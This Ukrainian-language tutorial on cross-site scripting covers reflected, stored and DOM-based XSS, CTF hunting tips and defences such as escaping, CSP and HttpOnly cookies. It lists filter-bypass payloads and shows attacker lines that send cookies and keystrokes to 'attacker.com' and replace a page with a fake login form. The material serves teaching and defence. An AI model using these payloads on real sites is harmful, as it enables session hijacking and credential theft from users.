Що таке XSS?
Cross-Site Scripting (XSS) — вразливість, яка дозволяє зловмиснику виконати довільний JavaScript у браузері жертви. Попри назву, це не атака між сайтами — назва застаріла.
XSS входить до OWASP Top 10 вже понад 15 років — через простоту знаходження та серйозність наслідків.
Три типи XSS
Reflected XSS
Шкідливий скрипт повертається з відповіді сервера в межах одного запиту. Жертва має перейти за спеціально створеним посиланням.
https://example.com/search?q=<script>alert(1)</script>
Сервер відповідає:
<p>Результати пошуку: <script>alert(1)</script></p>
Stored XSS (Persistent)
Скрипт зберігається на сервері (база даних, лог-файл) і виконується для кожного відвідувача сторінки. Найнебезпечніший тип.
Типові місця: коментарі, профілі, повідомлення чату, назви файлів.
DOM-based XSS
Вразливість повністю на стороні клієнта — JavaScript читає дані з URL або storage та вставляє в DOM без санітизації.
// Вразливий код
document.getElementById('output').innerHTML = location.hash.slice(1);
https://example.com/page#<img src=x onerror=alert(1)>
Корисні пейлоади
<!-- Базовий -->
<script>alert(1)</script>
<!-- Якщо < та > фільтруються -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<!-- Обхід лапок -->
<img src=x onerror=alert`1`>
<!-- Якщо фільтрується слово "script" -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>alert(1)</SCRIPT>
<!-- Кодування -->
<img src=x onerror=alert(1)>
<!-- Без пробілів -->
<img/src=x/onerror=alert(1)>
<!-- Event handlers -->
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
Що робить зловмисник з XSS
Крадіжка кукі:
fetch('https://attacker.com/steal?c=' + document.cookie)
Keylogger:
document.addEventListener('keypress', e => {
fetch('https://attacker.com/key?k=' + e.key)
})
Фішинг — підробка форми логіну:
document.body.innerHTML = '<form action="https://attacker.com/login">...'
XSS для CSRF — виконати дії від імені жертви, обходячи CSRF-токени.
Пошук XSS у CTF
- Знайдіть усі місця де вхідні дані відображаються на сторінці
- Спробуйте базовий
<script>alert(1)</script> - Якщо блокується — аналізуйте що саме фільтрується
- Використовуйте Burp Suite для перехоплення та модифікації запитів
- Для Stored XSS — шукайте де дані зберігаються і де потім відображаються
Захист
# Flask — автоматичний escape в Jinja2
{{ user_input }} # безпечно — Jinja2 екранує
{{ user_input | safe }} # НЕБЕЗПЕЧНО — вимикає escape
Content Security Policy (CSP):
Content-Security-Policy: default-src 'self'; script-src 'self'
HttpOnly кукі — захищають від крадіжки через document.cookie:
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Інструменти
- Burp Suite — перехоплення та тестування
- XSStrike — автоматичне знаходження XSS
- DalFox — сучасний XSS-сканер
- Burp Collaborator — для blind XSS